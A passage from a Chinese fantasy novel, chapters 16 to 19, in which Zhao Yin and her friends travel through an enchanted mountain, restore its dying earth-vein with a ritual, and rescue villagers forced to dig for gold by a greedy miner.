这么大的山,要从何找起?那些散开的愁思又重新聚拢,赵吟站起身,想活动一下,不料头发被什么东西缠住,她痛呼一声摸向头发,发现自己的头发跟李春序的缠绕在一起。
李春序有些害怕,抱着胳膊一动不敢动。
芦生走过去,笑着道:“别害怕,这是山的恶作剧,它跟你们开玩笑。”
赵吟无奈:“这要如何解开?”
芦生吹吹口哨,背后立刻有了响动,赵吟转头,惊讶地发现树上的藤蔓开始移动,慢慢爬上她的腿,然后是发上。
藤曼轻柔地在她发间穿梭,颊边散落的头发都往上盘起,她一摸,发上多了一些装饰。
她看向李春序,情不自禁“哇”一声。
李春序的头发被绾起,层层叠叠,灵动优雅,发间有隐隐约约的细线,仔细看,那像是藤条,散发着淡绿色的光芒,浅浅流动。
赵吟想,她的头发,也应该是这样。
她低头看,意外发现自己随意套上的外衣流光溢彩,偶尔有星星点点的光落在地上,一弹一跳,被荆棘勾破的地方也恢复如初。
李春序的衣服亦是如此。
芦生轻笑:“山喜欢你们,这是它送的见面礼。”
他那身破破烂烂的衣服,也变得平滑,只是没有流光溢彩。
“好了,我们继续走吧!”
山林深处还有什么呢,赵吟很好奇,也隐约期待。
走入密林,赵吟很快跟丢了他,她道:“芦生,我看不见你了。”
口哨声传来,远处星光点点,漫天的蝴蝶飞来,它们周身笼罩着淡紫色流光,像一条流动的溪流,将周围照亮。
赵吟惊叹不已,伸出手。一些蝴蝶飞来,萦绕在她手掌周围,光晕温暖而柔和。
芦生道:“这是山蝴蝶。”
“山蝴蝶?”
16. 第十六章
“它是山的视觉。”
“嗯?!”
在她们怔愣的同时,一些山蝴蝶飞到赵吟面前,驻足片刻后轻轻停在她的睫毛上。
山在看她。
赵吟微笑。
“跟紧我。”
赵吟收起心神,紧跟芦生的脚步,李春序也握住赵吟的衣袖,亦步亦趋。
她们很快发现芦生的脚步有独特的节奏,时快时慢,时轻时重。芦生适时解释:“这是山的呼吸,我们跟随它呼吸的节奏,会省很多力。”
拐角处有落木挡住去路,芦生也在这时停下,他抬起手,在空中感受风,随后道:“石兄说,左前方有蛇窝,让我们往右行。”
石兄?
山蝴蝶好像感受到赵吟的困惑,停留在一块大石头上,也同时照亮了石块上的小精灵。它们头顶绿叶,矮矮胖胖,蹦蹦跳跳地伸手去够山蝴蝶。
李春序笑着道:“是人参!”
精灵们跳下来,好奇地围在李春序和赵吟身边,拉拉她们的裙摆,踩一踩地上落下的光点。
一声长啸划破夜空,凄厉若哭。那声音就出现在他们的头顶上,李春序脸色一僵,紧紧抱住赵吟的胳膊。人参童们受惊,原地跳起,都钻进两人的的裙子里。
“……”
芦生看向声音的方向,“是悲面鸮,它盘旋之处的地下,有无人祭奠的枯骨。”
他从腰间的大口袋里掏出一把米洒向周围,又拿出一炷香点燃,口中念念有词,不一会儿,悲面鸮的叫声消失,山林之中重回寂静。
赵吟提提裙摆,人参童钻出来,芦生蹲下身,拎起一只放到掌心,“人参童,你们要去哪儿?”
人参童挥舞胖胖的四肢,发出“叽咕叽咕”的声音,芦生放下它,对赵吟和李春序道:“它说东面没水了,要搬去西面。”
路在继续,赵吟突然道:“看,那些是什么?”
前面有一个突出的树根,上面还有一些木雕的小玩意儿。
芦生走过去,拿起一个木雕细看,他道:“这是木客的小摊,你们有什么东西想与他交换吗?”
他将木雕放进怀里,从他那个大口袋里拿出一个纸包放在树根上,还拿出一个小木盒。
“这是盐和茶叶。”
赵吟和李春序纷纷在身上寻找。
赵吟从袖袋里找到了一小包饴糖,李春序则摸出了一对精巧的耳饰,她们将东西摆在上面,又各自拿起一个木雕。
穿过陡峭的山壁,他们到达一块平地,芦生朝松树下走去,边走边说:“太累了,我要睡一觉。”
话音刚落,他就地躺下,本来平整的地面忽然凹陷,包裹住他。
赵吟和李春序还来不及反应,下意识喊他:“芦生?”
回答她们的只有渐渐沉重的呼吸声。
诺大的山林中一时没有响动,两人忽然有些害怕,紧紧地挨着芦生,山蝴蝶还在周围飞动,带来一丝陪伴。
周围满是断落的松枝,上面仍有繁茂的松针,赵吟突然起身,李春序一把拉住她:“阿吟……”
赵吟拍拍她的手:“我去拿个东西。”
她拖过来一些松枝,盖在芦生身上,原先被松枝覆盖的地面露出一些蘑菇,她又凑过去,拍了拍,断断续续闷声闷气的声音传出,像是回音。
“这是哪儿,不是说修寺庙么?”
“给我挖!”
“救命!我妻子还在家里等我……”
“阿吟救命!”
阿吟救命?
赵吟心跳很快,她又很急地拍了拍,却再无声音传来。
她转头看向李春序:“你听到了吗?”
李春序抱住胳膊,重重地点头。
有什么事也得等芦生醒来再说,赵吟重新坐回李春序身边。
她抱着双膝,沉默地低头,发现地面上一个影子在慢慢靠近。那个影子不断变换,先是像鹿,然后像树,接着像她抱着双膝低头的模样。
赵吟盯着它,一动不动,影子也不动,过了一会儿,它伸了个懒腰,然后手舞足蹈。
观察了半天,见它并无恶意,赵吟放松下来,怀里还有昨日买的枣泥酥,她拿出来,试探着递过去。
影子从地上立起,透明,却微微有涟漪。
它接过去,过了一会儿,赵吟听见一声响亮的嗝儿。
影子又回到了地上,对自己伸出了手。
赵吟迟疑了下,还是将手递过去,呼啸的风声瞬时在耳边响起,她亦凌空而起,双脚脱离地面。
李春序拉着她的脚,惊呼道:“阿吟,我抓住你了!”
风还在继续,赵吟闭上眼睛,等她睁开眼,李春序也在她身边。她们凌空而立。
眼前不再是寂静的山林,而是一望无际的水面,深沉的水面望不到底,周围雾气弥漫,偶尔有汹涌的波涛扑过来,溅起的水珠打湿了她们的脸。
天空忽然变暗,赵吟抬头,见一巨物遮天蔽日,缓缓移动,吟声直击心灵。
赵吟脱口而出:“鲲鹏!”
巨浪又起,细微水珠扑到脸上,有微微凉意。
李春序突然道:“阿吟看下面!”
赵吟低头,见水中浮起五个鳌头,巨大而真实,每一只鳌的背上都有一座山,随着它们的动作在雾气中缓慢起伏。
“归墟五神山!”
赵吟不敢眨眼。
远处又有动静,是另外五只鳌。
李春序结结巴巴:“这是……这是……”
“巨鳌负五神山,六万岁一交焉,它们在换班!”
在滔天巨浪中,五座神山转移到另五只巨鳌背上,然后风平浪静,五神山与巨鳌皆岿然不动。
天朗气清。
卸下神山的巨鳌慢慢朝天边游去。
李春序合不上嘴:“我天……”
她们还在震惊,眼前之景却陡然变换,一阵天旋地转中,她们腾空的脚好像踩在什么东西上,赵吟低头看,是一块泥地。
海浪不再,眼前山雾横斜,青山或浓或淡。
大地在震动,一巨人负山而行,从远处往此而来。
赵吟喃喃自语:“夸娥氏二子,替愚公移山?”
她往巨人身后看去,果然见到一身形略小的巨人,他同样背着一座山。
一往东,一向南。
雾越来越大,眼前之景渐渐消失不见,赵吟有眩晕的感觉,再定睛一看,望进芦生青绿色的眼。
他微微含笑:“溯影带你们
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去哪儿玩了?”
衣袖湿漉漉,裙摆上潮湿一片,而脚底一层软泥,伸手摸,犹带湿润。
是真的。
赵吟讷然道:“上古神境!”
芦生满脸惊异:“我都没见过!”
“它叫溯影?”
“嗯,能带你穿梭时空。”
赵吟重复道:“穿梭时空?”一个大胆的念头出现在脑海,她连忙寻找溯影,而它也确实又出现在了地上,摇头晃脑手舞足蹈,然后挥挥手,消失不见。
那个大胆的念头也慢慢溜走,就像夜幕一寸寸褪去。
天色微明,山蝴蝶的淡紫色星光慢慢变淡。
赵吟和李春序的衣服也恢复原样,发间的藤条变成木簪,失去光芒。
赵吟再次伸出手,山蝴蝶绕着她的手臂流连,随后如飘带,渐飞渐远。
“陪我们玩了一夜,它累了,想睡觉。”
赵吟放下手臂,忽而有些依依不舍。
突然想起地上的蘑菇,赵吟打起精神,带着芦生走过去:“那里面有我朋友的声音。”
芦生蹲下身,细细看,随后告诉她:“这是存音蕈。不过你的朋友并没有经过这里,是存音蕈的孢子飞到了你朋友所在的地方,你听到的声音是什么样子?”
“断断续续,并不清脆。”
芦生皱眉:“他在更深处,可能有危险,我们要抓紧时间。”
他们原路返回,狭窄的山壁上突然多了很多藤蔓扶手,藤蔓上还结了三个果子。
芦生随手摘下果子,递给她们两个:“这是木客的谢礼,尝尝看!”
赵吟咬下一口,甘甜充斥满口腔,一夜的劳乏消失不见,她像是喝了清泉水,又像是吃了清爽的佳肴,浑身充满力气。
芦生也咬下一口,却叹气道:“我还是更喜欢人间食物。”
李春序惊叹:“真神奇,原本我又困又饿,吃了这个一下子就变得神清气爽!”
芦生道:“吃了这个,我们一天都不用喝水吃东西!”
他们走回木客的小摊,上面多了一些小木雕,而昨日的耳环饴糖,茶叶和盐都已不见。
赵吟对着空气道:“木客,你的手真巧!”
树叶开始摇动,一些叶片掉落下来,芦生道:“它说谢谢。”
两人依旧跟着芦生的节奏,可是渐渐地,赵吟发现,这种韵律已经不像来时那样从容,而是越来越急促,像是……喘息。
落日西斜,芦生突然停住,他说:“黑云岭到了。”
赵吟探头望去,一样的树木花草,可她就是感觉,这座山并不像昨夜的山那样生机勃勃,它很沉寂。
芦生从他的大口袋里掏出一把药粉,向空中抛洒,粉末化作一条线指向远方。
“就是那里了!”
“那是什么地方?”
“黑云岭的地脉之心。”
他们再次出发,脚下的呼吸越来越微弱,芦生的步伐越来越快。
他一直镇定有余,此时却变得慌乱,赵吟忍不住问:“发生什么了?”
“地气越来越弱,这座山已经奄奄一息,若不快点救治好,地气会马上消散。”
他顿了顿,又道:“山会崩塌,我们都会被活埋。”
17. 第十七章
青葱的树木渐渐变黄,越往前走,越感受到生命力的流失。
脚下已经不是松软的土地,而是裸露的岩石,周围寸草不生,树木皆枯死,并无生灵动静。树林渐渐消失,眼前出现一大块平地,中央裂开一道缝隙,偶尔有碎石滚落,发出令人心惊的声音。
芦生朝裂缝走去,“就是这里。”
赵吟和李春序亦步亦趋。
他趴在地面上感受片刻,有些凝重道:“这里地脉微弱,生灵都跑去了别处,我召唤不到动物守护,等一下需要你们帮我注意周围。”
赵吟“嗯”一声,跑去旁边捡了两根棍子,一根递给李春序。
芦生将他的大口袋放在地上,探头看向裂缝,他疑惑道:“地下好像有生命气息。”
“什……什么?”
赵吟和李春序都吓了一跳,想要过去看,芦生制止住,说道:“正事要紧。”
他从大口袋里拿出盐米混合物,围绕裂缝周围划了一个圈,让赵吟李春序都站在圈内,然后拿出一把干艾草点燃,绕着圆圈挥舞,口中念叨:“尘归尘,土归土,扰攘归外府。”
他跪下,闭上眼睛,手抚在地面上。
赵吟与李春序警惕地望向周围。
“我闻汝泣……”
“芦生小心!”
李春序一声尖叫打破寂静,芦生睁开眼,见一蓬面垢发的男人不知从哪里窜出,只扑他来。
他在地上闪躲,男人直接弯腰拖着他的腿,往裂缝处走去。
赵吟与李春序拼命握住芦生的手,那人见状,狠狠踩上李春序的手背,她吃痛放手,仅凭赵吟一人的力量,根本无法拖住,芦生的手很快从她手中滑走。
他的嘴角溢出鲜血,痛苦呻吟:“仪式被破,必受反噬。”
赵吟朝前一扑,再次握住他的手,芦生却掰开她,语气虚弱:“仪式要继续……不然……”
不然,我们都要被活埋。
两人已经到达裂缝边缘,赵吟忍不住再向前一步,可是晚了。
“扑通”一声,他坠入裂缝。
赵吟眼泪滑落,却连悲伤的时间都没有。
男人红着眼,直直朝她奔来:“谁敢动我的金矿!”
赵吟扭身朝那个大口袋拼命跑去,但手臂已经被男人抓住,朝后仰倒的瞬间,她看见男人一下子跪倒在地。
李春序不知道从哪里找来藤蔓,丢在男人脚下,将他绊倒。
赵吟奋力挣开他的手,迅速站起。
在男人的咒骂声中,李春序用藤蔓勒住他的脖子。而赵吟也在口袋里发现了一张牛皮纸,惊喜地发现这就是仪式步骤。
她大喊:“阿序,拖住他!”
李春序用力勒紧。
“咔”一声,男人力气大,竟将藤蔓绷断。
“阿吟小心!”
话音刚落,赵吟朝后扬手一抛,她也不知道这是什么药粉。
男人嚎叫出声,捂着眼睛在地上扭曲打滚,腿在空中乱踢。
李春序再次拿着藤蔓过来,将他双手捆住,做完这一切,她已筋疲力尽,只能紧紧压在他身上,可却不能阻止他在地上滑动,四处乱踢。
赵吟挨了一脚,却无暇顾及,她认真看着纸上的文字,拿着口袋重新回到圆圈内。
她学着芦生的动作,跪在地上,手轻抚地面。
“我闻汝泣,我感汝悲,今有虫蠹,蚀汝血脉,我以诚心,抚汝灵台。”
五种颜色的小口袋被她放在地上——青,红,白,黑,黄。里面是对应颜色的土。
冷汗从赵吟头上冒出,在这深山中,她不识东南西北。抬头望天,天公不作美,天色阴沉,不见夕阳。
半响不见她有动作,李春序着急:“阿吟,你怎么了?”
男人一直在朝赵吟那边挪动,她就快要拖不住了。
赵吟咬着嘴唇,环顾四周,眉头皱起。
她发现了好几处蚂蚁洞,洞口朝向一致。脑海里有记忆碎片,她记得有人说过。
男人睁开眼睛,奋力朝赵吟扑来,一只手从藤蔓缝隙里钻出,狠狠拽住她的头发,将她拽倒在地。
李春序见状,心头火起,本就处于危急时刻,仪式能不能完成还是个未知数,他还非在一旁添乱,她怒极气急,伸手在他脸上又抓又挠,男人眼神更加凶狠,忍受着她的攻击,打死不松手。
李春序只好晓之以理:“我们不动你的金矿,你快点放手!”
男人充耳不闻。
赵吟忍住疼痛,想起身,却又被拽倒在地,她仰头看天,目光失去焦距。
身体被拖动,她还在闭眼追寻记忆碎片。
李春序失去了力气,抬手都变得困难,她一边压着男人,一边费力去掰他的手,男人犹自挣扎,她就快要压制不住。
绝望之际,她听见赵吟的声音。
“雪娘说过,蚂蚁窝朝南,门庭采光好!”
赵吟张开眼,眉目舒展,眼神瞬间聚焦,灵动坚定。
天上的云突然飘动,阴沉的天空慢慢露出夕阳,暖光照在她脸上,她紧紧握住头发,咬牙用力一拽,重新回到圆圈内。
男人握住一手断发,指腹被发丝勒出血痕,他倒吸一口凉气。
赵吟捧起口袋里的土,分别放置在对应方位,她开始吟唱,声音舒缓有力。
“东方青土,予尔生机;南方赤土,炽暖如衣;西方白土,止泪封啼;北方黑土,予汝精气——”
最后,她捧起黄土,洒向裂缝之中。
“中央黄土,固尔根基!”
她站起来,拿出干艾草,继续道:“五土归位,地脉重回;甘泉为引,痛楚皆褪!”
点燃艾草,她学着芦生挥舞:“艾柏清烟,荡涤污秽;创口复归,山灵安睡!”
男人不知何时停下动作,居然跟李春序一样聚精会神地看着她。
赵吟捡起一块碎石,捏紧指尖,用石块用力摩擦,指尖鲜血溢出,她滴向裂缝。
“以血为鉴,以心为盟,取汝一石,还汝一林!”
她跪坐在地,双手贴向地面。
地面开始颤动,碎石乱滚,重重打在赵吟背上,李春序也被砸到,她眼角发红,松开对男人的制约,嘶哑道:“山要塌了……”
芦生说过,最后一丝地脉消散,此山便死,它会崩塌,而他们都会被活埋。
男人目光呆滞,愣在原地。
李春序见他这副模样,更加气急,对他又踢又踹,哭着说:“都怪你,我们出不去了!”
仪式完成了,并无起色,地气仍在消散,难道是山灵不接受外人的安抚?还是她不具备山魈之力?
赵吟收敛心神,不动如山,碎石哗啦声中,她闭上眼睛,想起昨夜那座山,它调皮贪玩,有绚丽的山蝴蝶,还有木客人参童这些小精怪,生机勃勃,地脉沉稳有力。
她真的希望,此山能重获生机。
她想起自己生病时,雪娘总会拍着她的背,安慰她,鼓励她,于是她也轻拍地面,温柔而有力道:
“山灵山灵,莫要沉睡,我心我诚,愿汝重归!”
赵吟屏息,李春序也停下动作,不由自主屏住呼吸,男人正襟危坐,张着嘴,等待着接下来的动静。
碎石越滚越多,李春序疲惫地往后躺去,灰尘漫天,挡住天空,然后缓缓下落,他们都被尘土盖住。
尘归尘,土归土。
眼泪从眼角滑落,李春序坐起身。
尘土从身上掉落,她接住一些,感受到柔软湿润,并非是干燥枯涩,她抬起手,惊讶道:“是泥土!”
抬头四望,裸露的岩石已被泥土盖住,满地碎石重归原位,地面覆上一层柔软的苔藓,地底沉稳的脉动透过泥土与苔藓传来。
“砰,砰,砰!”
山泉水从地底喷涌而出,像一场大烟花。
李春序抹了把脸,撑在苔藓上的手有微麻的触感,她好奇凑近,听见小声的“噼啪”,呼吸间,各色花朵绽放。
她站起身,对着山林大喊:“你好起来了!”
回音激荡,越过好几重山。
而天色越来越暗,她们再也看不见周围的山。
赵吟捂着腰站起来,听见李春序雀跃的声音:“是山蝴蝶!”
她抬头看,远处有淡紫色星光,一点一点,微弱暗淡,它们正朝这边飞来。
赵吟眼角弯弯,它醒了。
山蝴蝶直奔向赵吟,在她面前停留,很久很久
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,煽动翅膀的幅度又轻又柔。
赵吟伸出手,星光变亮,山蝴蝶停在她手上,随后围绕着她翩然起舞。
山来看她,山在拥抱她。
也就是在这时,赵吟发现自己的衣服跟芦生也差不太多,再看向李春序,那更是破破烂烂。
藤蔓开始移动,赵吟发现自己的头发湿湿润润,参差不齐的断发慢慢变长,她闻到柑橘清香,散乱的头发被重新绾好,破烂的衣服变成舒适的麻衣,只是不像昨日流光溢彩,身上的疼痛感也渐渐变轻,但仍然存在。
赵吟明白,它还没有更多力气。
她摸向发间,被男人拽掉的木头发簪重回发间。
再看向李春序,她同样整洁一新,有一些山蝴蝶也飞到她面前。
赵吟清清嗓子道:“山灵山灵,我的朋友掉进了裂缝里,有没有办法把他救出来?”
山蝴蝶停在她面前,半响不动。
这是山的视觉,那山的听觉呢?
透明的山泉水从岩缝中渗出,一丝一缕在空中流动。
赵吟无师自通:“山泉水是山的听觉。”
她又重复了一遍,山蝴蝶飞动,朝裂缝处去。
裂缝不再突兀,上面覆上泥土和柔软的苔藓,创口也变小。赵吟走过去,感觉到地底沉稳的脉动。
这就是地脉之心。
李春序“哇”一声,蹲下细看。
突然发现石壁上有一架木梯。
她说:“阿吟,我们可以下去!”
山泉水流向地底,山蝴蝶朝裂缝底下飞去,赵吟踩着木梯小心翼翼走下去,李春序紧随其后。
底下是普通的石洞,赵吟一眼看见仰躺在地的芦生,她走过去,轻喊他:“芦生,芦生……”
芦生睁开眼,赵吟小心将他扶起,意外发现他的耳朵红了。
他站起来,赵吟惊讶道:“芦生,你换了一身衣裳?”
芦生低头看,他那身破烂的黑衣已经变成了紫色麻布衣,他看向赵吟,她也是一身紫色,这座山,喜欢紫色。
山蝴蝶慢慢将洞内照亮,李春序一声惊叫,他们转头看去,那边有一些……人?
一个堆一个,各个都被麻绳捆住。
芦生率先走过去,将最上面的人搬下来,他刚苏醒,又遭反噬,力气还没完全恢复,手一松,那人直接滚落,仰面躺在地上,山蝴蝶飞过去,赵吟和李春序一愣,她们踉踉跄跄跑过去,蹲在那人面前:“阿风?”
李春序颤抖着伸出手,探向他的鼻息,如释重负:“还活着。”
芦生又去试探其他人,都还有鼻息。
山蝴蝶越来越暗淡,芦生吩咐道:“我们快些出去,山刚苏醒,它需要更多的休息。”
两人点头,却又忍不住问:“阿风怎么办?”
“回村子里找人!”
快要看不见光亮了,三人赶紧爬出去。
赵吟突然问道:“阿序,那个男人呢?”
李春序一懵,不知道什么时候,她就没注意过他了。
“会不会……”李春序做了个抹脖子的动作。
“不会,山灵不会残害生灵,它不能干预人间事。”
他们急急忙忙找,发现男人仰躺在林子中,犹有鼻息。
芦生闭上眼,静静听,然后道:“被吓晕了。”
赵吟问道:“山风是山的声音?”
芦生微笑:“是。”
这里究竟发生了什么事,得等有人苏醒才知道,当务之急是赶快回村找人。原路返回不知道要走多久,四周又黑漆一片,赵吟看向芦生。
芦生嘴角浮现出一抹得意的微笑,他再次吹响口哨,马的嘶鸣声突兀出现。
几匹马不惧山林阻碍,奔腾而来,它们身上发出亮光。
李春序“呜哦”一声,往后退去。
芦生跨上一匹马,赵吟也跃上一匹。李春序支支吾吾:“我不会骑马,我跟阿吟坐同一匹。”
“没关系,你只需坐上去。”
李春序闻言挪上马背,发现并不用她牵引,马儿会自动往前走。
它们身上的光亮柔和温暖,为他们照亮前行的道路。
芦生道:“走马灯,日行千里。”
18. 第十八章
前方是山壁阻碍,走马灯直直往前冲,眼前变得漆黑一片,寒意也袭来,赵吟下意识缩起脖子。
不一会儿,温暖重新到来,赵吟张开手指,马的鬃须从她指间滑过,细腻柔滑,好似丝绢。
走马灯,非马非灯。
她问道:“芦生,走马灯是什么?”
是月光吗?好像不是,月光不能穿透墙壁。
那是什么?
“是过往旅人最纯净的思念。”
是呀,思念可以穿越时空,无惧阻碍。
“趴在上面,你可以感受到。”
闻言,赵吟和李春序同时弯下腰。
脸颊感受到暖意和震动,赵吟闭上眼,无数画面碎片纷至而来,如雨滴坠落,尔后慢慢减缓。
一个个碎片铺展开来——
粉琢玉砌的小女孩在学走路,摇摇晃晃,她穿着兽皮做的衣裙,脖子上挂着兽牙项链;胖胖的女人坐在门槛上,灰色麻线像游鱼一样在她手中穿梭,“塑人俑?什么是人俑?要多久?秋天赶得回来吗?”
着曲裾的少女跪坐在编钟前,抬手敲击出悠扬的乐音;白发苍苍的老婆婆坐在门槛上,将碗里仅有的几块肉挑给旁边的小男孩;健壮的男人大步流星走来,从怀里小心翼翼拿出一双绣花鞋……
这些都是被思念的人,被想念的时刻,被记在心底的记忆画面。
走马灯保存下来这些,告诉他们,尽管时空不同,人也不同,可思念共通。
芦生被她们沉溺其中的模样所打动,也趴伏在马背上。
可李春序却深吸一口气,猛然抬起头,她瞪圆了眼睛,嘴角微张。
赵吟和芦生都奇异地看向她,用眼神询问:“怎么了?”
李春序欲言又止,她看了眼赵吟,然后摇摇头,重新趴回去。
她又看见了。
很多很多的阿吟。
阿吟在写字,阿吟在笑,阿吟在奔跑,阿吟在做鬼脸,阿吟在小小围墙的另一边……
都是在夏天。
远处的灯火映入眼帘,芦生道:“下来吧,走马灯到不了尘世。”
他们从马背上下来,走马灯原路返回,消失在他们的视线。
芦生从他的大口袋里拿出发带系在头上,正好挡住兽耳。
灯火越来越亮,皂角树下举着火把的人群也渐渐清晰,薛大娘站在人群中,一边抹眼泪一边说着什么,手指向山林深处。
赵吟将手放在嘴边,“大娘——”
薛大娘转回头,微微眯着眼,又使劲揉了几下,然后激动地迎上前。
“阿吟!是阿吟!”
人群叽叽喳喳,举着火把走来。
“你这小姑娘,悄不声就跑到云来山去!这两天急死我们了!”
“天黑还没见你们出来,我们正要去找呢!”
赵吟歉意地微笑,她说:“我们在山林里发现了很多人,都还活着,要劳烦各位乡亲跑一趟了,改日一定宴请大家!”
“嗨!什么宴不宴请,你先说人在哪儿,我们现在就去!”
芦生道:“黑云岭。”
有一人道:“我知道,前几年有人请我带路去黑云岭,后来就没见他出来,再后来云来群山就成了邪山,今天我倒要去探探,究竟怎么个事儿!”
芦生害怕又出变故,走在最前面带领众人。而薛大娘将赵吟李春序都拉回小院,旋身进厨房,端了两碗鸡汤,命令她们立刻喝下。
劳累好几天,赵吟沾枕即眠。醒来时,李春序正扒着窗户瞧。
“他们回来了!”
吴风依昏迷不醒,脸上都是血,其余人也好不到哪儿去。
村里的郎中挨家挨户救治,吴风依则交给了芦生,空闲下来的赵吟抽空去了市集,买了好些肉菜美酒。
饭菜上桌,芦生被推到了上席,赵吟特意把他面前的菜都换成素菜。
筵席罢,家家扶得醉人归。*
晚风有些微冷,芦生回到薛大娘替他准备的房间,正欲洗脸,门外突然传来敲门声。
“芦生,我想拜托你一件事。”
黑云岭的地脉之心,赵吟和芦生重新站在这里。
突兀的创口已经平复不少,脚下的呼吸沉稳有力。
走马灯停在一边,光芒依旧柔和,芦生道:“阿吟,我们可能没办法知道具体发生了什么。”
“没关系,一点点就好。”
“好。”
芦生摊开手掌,动动手指,赵吟笑,小心翼翼将手搭上去。
口哨声再度吹响,一只通体透明的鸟飞来,停在芦生肩膀上。
它身如琉璃,体内光华流转。
“这是溯鸟,能探寻到与你有关的过去,可时间太久远,也许只剩下一些碎片。”
赵吟手指蜷缩,她忽然有些害怕。
感受到了她的紧张,芦生等了片刻后方问:“阿吟,准备好了吗?”
赵吟平稳呼吸,将蜷缩的手指放松,坚定地点头。
“抬起头,直视它的眼睛。”
溯鸟的眼睛透明澄澈,偶尔泛起层层涟漪,她头晕目眩,下意识闭上双眼。周围的感觉都消失,她坠入一片黑暗,听不到声音,嗅不到空气的清新湿润。
渐渐地,刀剑声,哭喊声,还有金玉碰撞声慢慢涌现,然后又被一声唢呐穿透。
花轿迎面而来,停在石狮子门前,高大的门上有匾额,上写“赵府”。
唢呐声消失了,天地重回寂静,喜气洋洋的画面也被一大丛粉白相间的牡丹花替代。
一男一女并肩而站,男人笑着道:“娮娮,牡丹花终于开了。”
娮娮?
赵吟呼吸急促,她竭力想看清那两个人的脸,
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但是画面突然扭曲,全都消失不见,她头疼欲裂,溯鸟发出凄厉的叫声,剧烈扑腾翅膀。
芦生着急道:“阿吟,阿吟……”
她冷静下来,溯鸟不再鸣叫,画面重新出现。
写字,好多人在写字,画面连续变换,白净的手,枯瘦的手,男人的手,女人的手……他们在写什么呢?
赵吟一个字都看不清。
婴儿的啼哭打破宁静,好多人的声音,喜悦的,轻声的,温柔的,还有轻轻慢慢的童谣。
一些眼泪滴落在婴儿通红发皱的脸上,晶莹剔透。
宽厚而苍老的手笨拙地轻拍婴儿,哼唱的歌谣充满苦涩与不舍。
画面消失,凉风吹拂过来,沉重的脚步声在黑暗中响起,高高的城墙屹立在蓝天下,它的脚下跪了一地的人。
疲惫的声音:“开始吧。”渺远地像从回忆里传出。
托盘上放着酒杯,里面是颜色瑰丽的酒。酒开始晃荡,然后倏尔停住,一双手拿起酒杯,毫不犹豫递到嘴边。
赵吟大喊:“犯了什么错!他们犯了什么错!”
画面又开始扭曲,芦生紧紧握住她的手,赵吟深呼吸。
城墙下的人一个个倒下,最后只剩下一人跪立。
根本看不清,可是赵吟就是知道,她哭出声:“是雪娘,是雪娘!”
有人喊:“停!”
托盘迅速移开,一张饱含悲悯的脸出现。
尚义隆。
蓝天透亮,澄澈的天空又被一双男人的眼睛替换——衰老,浑浊,倒映着天空,白鸽从他眼中飞过,大颗的泪珠流出。
很轻的呢喃,不知是谁的——“我赌赢了。”
一只手轻轻覆在那双眼睛上,她听见尚义隆的声音:“赵将军,安息吧。”
叹息声起,一张严肃而凄哀的脸清晰显现。
是李沅。
赵吟在年幼的时候见过他,那也是她第一次见到尚义隆。
他蹲下来,眼睛笑成一条直线,“阿吟都长这么大了!”
然后他牵着她,穿过一顶顶帐篷,到达最高最气派的那一顶面前。
“进去吧。”
小心跨进去,她抬头亦抬眸,面前的男人神色讶异,可惊讶之情很快消失,那双眼睛变得柔和,变得衰老,变得湿润。他不发一言,就这样静默地看着自己。
就像刚刚画面里的眼神一样。
彼时年幼的她还不知道这样的眼神代表什么,但是现在,她知道了。
他不只是在看自己。
他在看现在,也在看过去,他在沉思,也在追忆。
就是这个眼神,让赵吟不再相信,她的祖父赵宴,是别人口中的乱臣贼子。
残音袅袅,画面模糊消散,她的世界重回黑暗,赵吟崩溃道:“告诉我,他们葬在哪里!告诉我!”
19. 第十九章
悠扬的曲调打破回忆的苦涩。
温和的春风重回世界,清新的泥土气息充斥鼻尖,赵吟睁开眼,溯鸟扑腾着翅膀从芦生肩膀上离开。
芦生放下竹叶,小心擦去她脸上的泪水,想说什么,却找不到合适的言语。
刚刚的一切,他也同时感受到,那双流泪而衰老的眼让他胸口发闷。
他将时间留给赵吟,重新走回那道裂缝旁,裂缝小小,仅容他伸进一个手掌。
出来时,他握住了什么。
“阿吟,头低下。”
一颗紫色晶石垂落在胸前。
赵吟“哇”一声,拿起细看。晶石闪耀,摸上去温润细腻。
芦生微笑:“山的谢礼。山心玉髓,千百年出一颗。”
赵吟亦笑:“它果然很喜欢紫色。”
芦生择了块干净的地方随意坐下,他将抹额摘下,露出尖尖的兽耳,惬意往后一躺,眼睛看着漫天的星辰,“明日我就要启程了,下一程在最南边,南诏之境。”
“那边的山怎么了?”
“有一座山受了情伤,哀愁太多,凝成了呜咽童,在山中作乱,我要去降服它,还要……”
他闷笑:“开导那座山。”
“一路顺风。”
“那你呢?接下来要去哪儿?”
“塵州。”
“画面里的地方?”
“嗯。”
“希望能再次遇见你。”
赵吟看向他,狡黠道:“在山林?在人间?”
芦生坐起身:“都可以。”
都希望。
他站起来,拍拍手,走马灯往此处来。
“露水太多了,我们回去吧。”
“好。”
炊烟一缕两缕,白鹭三只四只,黄鹂鸟五声六声。
这是个适合赶路的天气。
芦生的大口袋里塞满了薛大娘做的烙饼和蒸的红薯干,她忍不住轻拍了他一下:“你这孩子,明明人模人样的,前几天干嘛穿得狗模狗样!”
李春序忍不住,哈哈大笑。
吴风依握住他的手,言辞恳切:“恩公一路顺风。”
赵吟折下一枝柳,递到他手里,就像曾经的袁松年那样。
吴风依伤势较重,赵吟决定先在此地修养,她每日早早出门去,要么给人收惊,要么替人驱邪。
王道一教她的本领,如今成了她谋生的手段。
养伤期间,吴风依在村口支了张桌子,对村民们讲在山中的经历。
“我听说寺庙招工,紧赶慢赶去了客栈集合,领头人一人发了一张烙饼,我心想还挺讲礼。马车进山,叫我们下车走上去,走着走着我就发现不对劲,这么荒僻,哪有寺庙!
其他人也发现了不对劲,大家都想跑,但山路狭窄,下面就是万丈悬崖,想跑也跑不了。到了地方,一群人窜出来,把我们推进矿洞,原来是要我们挖矿!那矿洞又黑又窄,挖了半天都是碎石。”
有一孩童问:“挖出金子了吗?”
“挖出来了!里面有一个野人,见我们挖出了金矿,就跟发了疯一样,又叫又喊。然后他下令,把我们活埋。”
“噫——”
“我们那座山叫黑云岭,听说金子最多。近几年进云来山的人,估计都被掳去挖矿了,挖不出金子不准走……”
“挖出来了呢?”
“活埋!”
原来根本不是山邪,是人邪。
“那野人吃什么喝什么?”
“有人送!押我们进山的那些人就是他的同伙!”
“那人昨天被押去官府了,那他的同伙呢?”
“你别说,我想起来就毛骨悚然。他不是下令将我们活埋吗,但是又变了主意,下令将我们捆起来,然后让那些人走到山崖边,说是那边宝气氤氲。
那些人走过去,然后他猛然伸手,一推!”
“嘶——原来是想独吞!”
“然后他亲自拿了锄头,往矿洞里填土,结果地动山摇,他拔腿就跑,我也被碎石砸晕过去。”
……
